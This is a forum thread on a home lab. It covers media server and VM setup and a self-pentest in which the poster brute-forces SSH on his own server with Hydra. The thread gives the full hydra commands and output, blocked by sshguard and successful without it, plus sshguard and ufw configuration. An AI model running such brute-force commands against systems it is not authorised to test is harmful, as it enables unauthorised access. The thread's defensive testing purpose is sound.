Home lab testing / projects

Lounge
1

Just a collection of thoughts and possible projects discussion, within my Home lab.

a. VM server
I started this one first as I’ve not done a thing with yet and actually on the fence.
In previous posts I made a statement of “no desire to run a VM” which in reality is not exactly true. Just most of the guides etc don’t go in the direction I would like to go.
In my thoughts / desire is basically have a headless server running a media services natively. And provide some VM services for either testing OS’s with GUI’s remotely. Discussion of methods to set this up is welcomed / sought.
This topic is one that I had planned on having a PM with @anon36188615 offline but thought maybe some others might have some proposals / links on guides.

b.
Pentesting yes the one that everyone shy’s from or loses their mind with caution statements… and no I have no desire to access a network or computer outside of my own. I’m fully aware of the laws of my home country as well as the consequences of nefarious actions. And I fully will abide by them.
There is no network completely secure and safe. The only defense is the amount of time, resources, tools, and methods needed to bypass the security in place. Couple that with active monitoring could reduce the chance of unauthorized access. Especially if systems are connected to the internet.

On this topic I did setup a older laptop (1st gen i5 , Dell Latitude E6410) with kali linux to test my password strength. If I am feeling bold I might shift this one (laptop) to Black Arch at a later date.

I have been testing password strength of my wifi system (using old routers that I have replaced as the attack source).

I also did a test on one of the servers using a ssh attack (hydra) … to my dismay I was able to break the password in 2 hours after gaining network access. Needless to say I changed passwords. Which Hydra has now been running a brute force on that server for the past week, and is still running.

2

I’m curious how long hydra takes for new password.

Have you given any thought to using an SSH key pair, consisting of a public and a private key, and configuring your system to use these keys for authentication.

I’ll even change those at least once a month. :smiley:

After thought, don’t forget wireshark and fail2ban.

2 Likes
3

Do you have any basic brute force services running e.g. sshguard? I’m curious as if these sorts of algorithms don’t do anything against a Kali, then I might as well get rid of them since they chew up resources.

Regardless, I prefer perimeter methods (for the home use case) and backups, backups and more backups… If there’s something there I really want to secure, then it doesn’t belong there and/or exposed to the net.

4

hmmmm good question … would be a interesting test

5

referring to VM /Media Server. That I’m honestly not sure which way to proceed. I setup a base Ubuntu server setup on a system. Simple i7-4770K with 32 gb ram on a nvme drive for the base OS, my thoughts are to add a 500gb hard disk to put the VM’s on
I’m thinking that I should setup the media services first then setup KVM /Qemu to handle the VM’s similar to
https://linux.how2shout.com/how-to-install-kvm-qemu-on-ubuntu-24-04-lts-server-linux/
and or
https://ostechnix.com/ubuntu-install-kvm/

I “Think” it would be in the more in line with what I want to achieve.
Which is a base media server running 24/7, with the ability to setup up test os’s via remote access.

6

looking at the start of a Hydra attack ;
"[STATUS] 76.00 tries/min, 76 tries in 00:01h, 14344323 to do in 3145:42h, 4 active
"
looks to be 131 days

my first thoughts when setting up the pentest (kali) , which I did try to install Black Arch first but the install failed miserably (I will probably attempt a VM install, to see if it will be cleaner). Was that the NFS really doesn’t contain anything worth a LOT of security…
Then I thought about it …
yeah that is a foolish thought… one could escalate privilege and use the NFS against other system on the home network once access is achieved. Not a pretty picture.

Which is why I kinda wanted to know about how long it takes to bust through. That factor would establish a password or a password /SSH key pair change cycle.

after all a password should be easy to remember. especially at my age lol.

yeah I’ll study up on those as well …
another defensive may well be snort and airsnort , to check if a new mac addy comes into the network …

1 Like
7

@eeyore

Seeing how I just put up a base server in preparation of replacing my existing media server. With a newer generation i7 and maybe adding the ability to host VM from the same server.
As well as looking at your post
I could do a test of sshguard if you would be interested in the results.
I would use a password of 7 characters all lower case and see if sshguard would actually stop it or what would happen
Just PM me a sample of your config file to me ( in order to do a somewhat realistic test, as well as me just being lazy vs actually setting it up)

8

For me, that was a no-brainer. There’s a snap of Plex Media Server which made it super easy to configure with its web interface. I was up and running in no time. Furthermore, the client is multiplatform, so not only can you run it via the web, but you can also watch from your phone. You don’t even have to be on the same network!

But yes, having somewhere to store all of that information is a good idea.

9

So, just try the default that comes with apt install.

i.e. Make sure that there’s an sshguard.conf, whitelist and depending on the firewall you have (Ubuntu(s) use ufw by default) there should be modifications to the rules. The only manual tweak I make is in /etc/ufw/before.rules and before6.rules.

For /etc/ufw/before.rules

#allow all on loopback
-A ufw-before-input -i lo -j ACCEPT
-A ufw-before-output -o lo -j ACCEPT

#hand off control for sshd to sshguard
:sshguard - [0:0]
-A ufw-before-input -p tcp --dport 22 -j sshguard

Likewise for before6.rules

:sshguard - [0:0]
-A ufw6-before-input -p tcp --dport 22 -j sshguard

(Optional) I think the only other tweak I might make (ifonly I noticed a lot of negative changes and/or true attack detects) would be to bump up the permanent blacklist threshhold.

BLACKLIST_FILE=200:/var/db/sshguard/blacklist.db

Instead of just scaling the ban time up. Of course this entire approach presupposes that one is doing backups…

Start it up and make sure it is running properly via:

sudo systemctl status sshguard

10

@eeickmeyer
on the media server side of the server I was going to use Plex and Jellyfin … which I have jellyfin up and running right now.
Plex will follow soon on the installation.

what has me is the method of VM setup… KVM/QEMU, virtualbox etc .
I know I want to remain headless ( no gui on theserver)
still researching the setups before implementation of the VM services.

@eeyore

Thank you on the reply I’ll set the server up with those setting on sshguard.

11

Right, that makes sense. WIth Plex my idea was more of a container idea than virtualization, which would run more efficiently. Plex Media Server is headless to begin with as having a web interface you can access from the rest of the network counts as being headless.

FWIW, my server does run a GUI but only because I have Thunderbird running on it as a 24/7 email filter. However, the monitor that is attached is a ghost monitor and I access the GUI via VNC.

I also have it as a Steam Link server with Steam running on it. It has a Nvidia GTX 1650 so that it can run steam games on my TV via a Steam Link device from 10 years ago that still works (and surprisingly still gets updates!). Plus, with the Steam Link app, I can run my steam games on my phone, especially those titles that don’t run on Nvidia GeForce Now.

12

@eeickmeyer
I might have the wrong vision …
My thoughts / objective was that Jellyfin and Plex to run native not under a VM or container…
leaving / reserving the VM’s for say testing of OS’s before placing them into production etc or when a question is asked to replicate a problem.

if I have the wrong vision please shoot holes in it (concept) .
and with hardware of the Processor I think I’ll be limited to only one maybe 2 max VM outside the normal media services.
Thank you.

But your statement of Plex in a container is worth a look / see before I set it (Plex) up.

13

Hence I pointed to the snap of Plex Media Server since it provides all of the required dependencies out-of-the-box. Between that and the Nextcloud snap (running on the same server), I’ve never had an easier container setup.

14

I tried Docker once and couldn’t quite get the jest of it so I pretty much wound up shooting myself in the foot numerous times.

SO I just didn’t use it and abandoned it.

Nice pointer / advice there (provided I understand what your suggesting , and not drawing the wrong picture)

I’ll delve more into it before putting up Plex.

yes, on the media I actually like it being on the NFS, and yes I did setup a separate backup server for the NFS media and files (not the OS’s ).
as honestly it really takes very little time to put the base OS on, it’s the 5 TB of media that eats up the time LOL

15

Yeah, same. Snaps are so easy by comparison.

1 Like
16

@eeyore
installed the sshguard on the newish server.
edited configuration as you advised

mike@eiremedia:~$ sudo systemctl status sshguard
[sudo] password for mike:
● sshguard.service - SSHGuard
     Loaded: loaded (/usr/lib/systemd/system/sshguard.service; enabled; preset: enabled)
     Active: active (running) since Wed 2025-03-19 17:32:56 UTC; 32s ago
       Docs: man:sshguard(8)
    Process: 772 ExecStartPre=/usr/sbin/nft add table ip sshguard (code=exited, status=0/SUCCESS)
    Process: 835 ExecStartPre=/usr/sbin/nft add table ip6 sshguard (code=exited, status=0/SUCCESS)
   Main PID: 843 (sshguard)
      Tasks: 8 (limit: 38284)
     Memory: 28.9M (peak: 30.0M)
        CPU: 54ms
     CGroup: /system.slice/sshguard.service
             ├─843 /bin/sh /usr/sbin/sshguard
             ├─848 /bin/sh /usr/sbin/sshguard
             ├─849 /bin/sh /usr/sbin/sshguard
             ├─850 /usr/libexec/sshguard/sshg-blocker -a 30 -p 120 -s 1800 -w /etc/sshguard/whitelist
             ├─851 journalctl -afb -p info -n1 -t sshd -o cat
             ├─852 /usr/libexec/sshguard/sshg-parser
             └─853 /bin/sh /usr/libexec/sshguard/sshg-fw-nft-sets

Mar 19 17:32:56 eiremedia systemd[1]: Starting sshguard.service - SSHGuard...
Mar 19 17:32:56 eiremedia systemd[1]: Started sshguard.service - SSHGuard.
Mar 19 17:32:56 eiremedia sshguard[850]: Now monitoring attacks.

now the login password is 6 characters lowercase alpha…
I’ll do the assumption that the SSH login is compromised in the attack using Kali-linux Hydra (even though any Linux system with the hydra package will probably perform the same)…
I have started the attack
and add to / edit this post on the results

2025-03-19T05:00:00Z
well that was quicker than I expected
I thought that Hydra would get just a bit further before being shutdown

──(root㉿Blacktrain)-[/home/mike]
└─# hydra -l mike -P /usr/share/wordlists/rockyou.txt -t 4 192.168.*.* ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-19 12:51:33
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://192.168.68.60:22/
[STATUS] 12.00 tries/min, 12 tries in 00:01h, 14344387 to do in 19922:46h, 4 active
[STATUS] 6.67 tries/min, 20 tries in 00:03h, 14344379 to do in 35860:57h, 4 active
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-19 12:55:21
                                                                                                            
┌──(root㉿Blacktrain)-[/home/mike]
└─# hydra -l mike -P /usr/share/wordlists/rockyou.txt -t 4 192.168.6*.* ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-19 12:58:47
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://192.168.*.*:22/
[ERROR] could not connect to ssh://192.168.*.*:22 - Timeout connecting to 192.168.*.*
                                                                                                            
┌──(root㉿Blacktrain)-[/home/mike]

On the second attack it’s pretty clear that sshguard has blacklisted the Kali system…

now to demonstrate without sshguard I’ll stop the service and attack again for those whom might be viewing. And have not participated in the discussion again I’ll edit this post when I get results
whih should be in approx 2 hours from now … maybe… (provided the blacklist is lifted once sshguard is stopped)
From the Server side (reasoning is to show that the syntax is somewhat correct from the Hydra side, and can be successful without ssh guard running)

mike@eiremedia:~$ sudo systemctl status sshguard
× sshguard.service - SSHGuard
     Loaded: loaded (/usr/lib/systemd/system/sshguard.service; enabled; preset: enabled)
     Active: failed (Result: exit-code) since Wed 2025-03-19 18:09:02 UTC; 20s ago
   Duration: 36min 5.707s
       Docs: man:sshguard(8)
    Process: 772 ExecStartPre=/usr/sbin/nft add table ip sshguard (code=exited, status=0/SUCCESS)
    Process: 835 ExecStartPre=/usr/sbin/nft add table ip6 sshguard (code=exited, status=0/SUCCESS)
    Process: 843 ExecStart=/usr/sbin/sshguard (code=exited, status=143)
    Process: 1353 ExecStopPost=/usr/sbin/nft delete table ip sshguard (code=exited, status=1/FAILURE)
    Process: 1359 ExecStopPost=/usr/sbin/nft delete table ip6 sshguard (code=exited, status=1/FAILURE)
   Main PID: 843 (code=exited, status=143)
        CPU: 118ms

Mar 19 18:09:02 eiremedia systemd[1]: Stopping sshguard.service - SSHGuard...
Mar 19 18:09:02 eiremedia systemd[1]: sshguard.service: Main process exited, code=exited, status=143/>
Mar 19 18:09:02 eiremedia nft[1353]: Error: No such file or directory; did you mean table ‘sshguard’ >
Mar 19 18:09:02 eiremedia nft[1353]: delete table ip sshguard
Mar 19 18:09:02 eiremedia nft[1353]:                 ^^^^^^^^
Mar 19 18:09:02 eiremedia nft[1359]: Error: Could not process rule: No such file or directory
Mar 19 18:09:02 eiremedia nft[1359]: delete table ip6 sshguard
Mar 19 18:09:02 eiremedia nft[1359]:                  ^^^^^^^^
Mar 19 18:09:02 eiremedia systemd[1]: sshguard.service: Failed with result 'exit-code'.
Mar 19 18:09:02 eiremedia systemd[1]: Stopped sshguard.service - SSHGuard.

as we can see services have stopped and now un protected

2025-03-19T05:00:00Z
@eeyore

success with sshguard disabled.

hydra -l mike -P /usr/share/wordlists/rockyou.txt -t 4 192.168.6*.* ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-19 13:10:09
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://192.168.6*.*:22/
[STATUS] 68.00 tries/min, 68 tries in 00:01h, 14344331 to do in 3515:47h, 4 active
[STATUS] 66.67 tries/min, 200 tries in 00:03h, 14344199 to do in 3586:03h, 4 active
[STATUS] 63.71 tries/min, 446 tries in 00:07h, 14343953 to do in 3752:10h, 4 active
[STATUS] 64.13 tries/min, 962 tries in 00:15h, 14343437 to do in 3727:31h, 4 active
[STATUS] 63.87 tries/min, 1980 tries in 00:31h, 14342419 to do in 3742:34h, 4 active
[STATUS] 64.09 tries/min, 3012 tries in 00:47h, 14341387 to do in 3729:47h, 4 active
[STATUS] 64.59 tries/min, 4069 tries in 01:03h, 14340330 to do in 3700:31h, 4 active
[STATUS] 64.41 tries/min, 5088 tries in 01:19h, 14339311 to do in 3710:43h, 4 active
[STATUS] 64.38 tries/min, 6116 tries in 01:35h, 14338283 to do in 3711:57h, 4 active
[STATUS] 64.20 tries/min, 7126 tries in 01:51h, 14337273 to do in 3722:09h, 4 active
[STATUS] 64.14 tries/min, 8146 tries in 02:07h, 14336253 to do in 3725:09h, 4 active
[STATUS] 64.11 tries/min, 9168 tries in 02:23h, 14335231 to do in 3726:38h, 4 active
[22][ssh] host: 192.168.68.60   login: mike   password: ******
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-19 15:34:09

one other note is I do Have cockpit running on the media server so yes I could see thousands of unsuccessful log-in attempts.
One thought is if I had enabled notification of XXX number of unsuccessful attempts I could have either enabled sshguard or simply changed the password…
Provided that I was monitoring and up not sleeping.

I let those looking this over decide for themselves if the system strain of sshguard is worthwhile or not.

But bear in mind Hydra is not limited to ssh attempts it was just one method I chose to do the attack I could have as well went
telnet, FTP, HTTP, HTTPS, SMB, databases just to name a few depending on what open ports a nmap scan uncovered (which honestly I busted the encrypted host ssh key on the server before the ssh attack, as well as the MAC addresses of every system connected. which is another exploit).

The reality is that even if sshguard stopped the ssh attack and stayed active I could have easily shifted to another service to exploit. Of course that is provided if the ports was open. If only port 22 is open yeah works great. Couple that with disabling wifi access , systems with only ports opened that are absolutely required is a great start which is why my former employer always did just that.

1 Like
17

I think ufw closes all ports by default… ssh has to be enabled, etc. in order for the ports to start opening up.

Anyway, sshguard isn’t heavy at all. It’s pretty minimal really. I just worry about totally ineffective stuff running, that might actually provide yet another vector in. That’s all.

So, I thought I’d ask what you found by playing with Kali. I have looked at Kali about a year or two ago and I was kind of surprised at all of the CLI apps. I don’t know what I expected… Maybe have it start nagging me about how badly protected we are and whatnot…

Anyway, Thanks for the info.

1 Like
18

@eeyore

Actually Ubuntu (any debain based linux flavor) can be turned into a Kali easily much like Arch can be flipped into a BlackArch system easily it’s merely just adding the packages with the correct repositories…

The version of Kali I downloaded to play with is using xcfe for the GUI to reduce the overhead.

In a past life I touched many differing “secure” systems in my work everyone of them had no wifi access, no exceptions (as a user). Life expectancy of the version was about 30 days max before a new patch was released / done.

Those types systems were HVT systems… everyone likes to attack governmental systems especially other governments (allies and foe, fun fact USB ports are completely disabled, even the network cabling is shielded, cell phones, usb devices was locked in a locker that prevent cellular activity, as well in the terminal server room).

So let’s put it into perspective if a (home) network /lab as in the average joe user with just media, pictures etc has enough security to thwart an attack for say over 30 days (just spitballing a time frame there) or more before access into the network is gained (at the router /access point, now it’s up to the systems to defend) . Preferably one would want it to be years projected not days before entry into a home network.

Hence why @anon36188615 was talking about keys etc and changing passwords on a cycle. It’s not just the actual server … it’s the access point as well. That is the first line in defense, one of the many.

Most persons will pass it by, and seek “low hanging fruit” (example wifi router with the password of password) as they know what is usually there has no real value (subjective), but say example in my (and most cases) one does gain access and installs ransomware …

Pffft too easy my backup server only comes on when the backups are needed to be wrote. Otherwise that server is powered off. This contains the actual files I want to protect access to, not the OS or it’s settings.
I can either

  1. replace the drive the ransomware is on re-install the OS cleanly reset security (of course I’ll look to see how the attacker was successful at network access first) … or

  2. reformat the disk, again clean install of OS, if not able to reformat clean the drive see option
    1.

It honestly is determining the weakest point and hardening it. While understanding how one can gain unauthorized access… Logs are a good indicator.

Like I said earlier there is no system completely safe when connected to the “net” , when wifi is enabled, or USB port access is involved. To totally lock a system down makes it unusable.

If one is dedicated enough and wants to get in they can and will.
This is NOT a “OMG the Sky is falling everyone run” post.
It is a let’s be realistic.
Not have a false sense of security, nor be so afraid to not doing enjoyable things. Understanding the methods “they” use is paramount. Understanding that my router password is good for a year in a brute attack means my password is change at the 6 month at the latest. Couple that with reading the logs on the access/router.

19

OK shifting gears as my last post had way too much gloom and doom for my taste, but I felt that my “opinion” needed some letting out. So I apologize to the masses

VM’s …
I was surprised to see that actually cockpit could be used to set them up on a headless server.
Anyone use that method??

20

That’s possible, but I think you have to have cockpit in each VM. I use cockpit to manage my server, and pretty soon I’ll be using it to manage my parents’ desktop computer and likely my aunt’s as well. Makes it super easy.

1 Like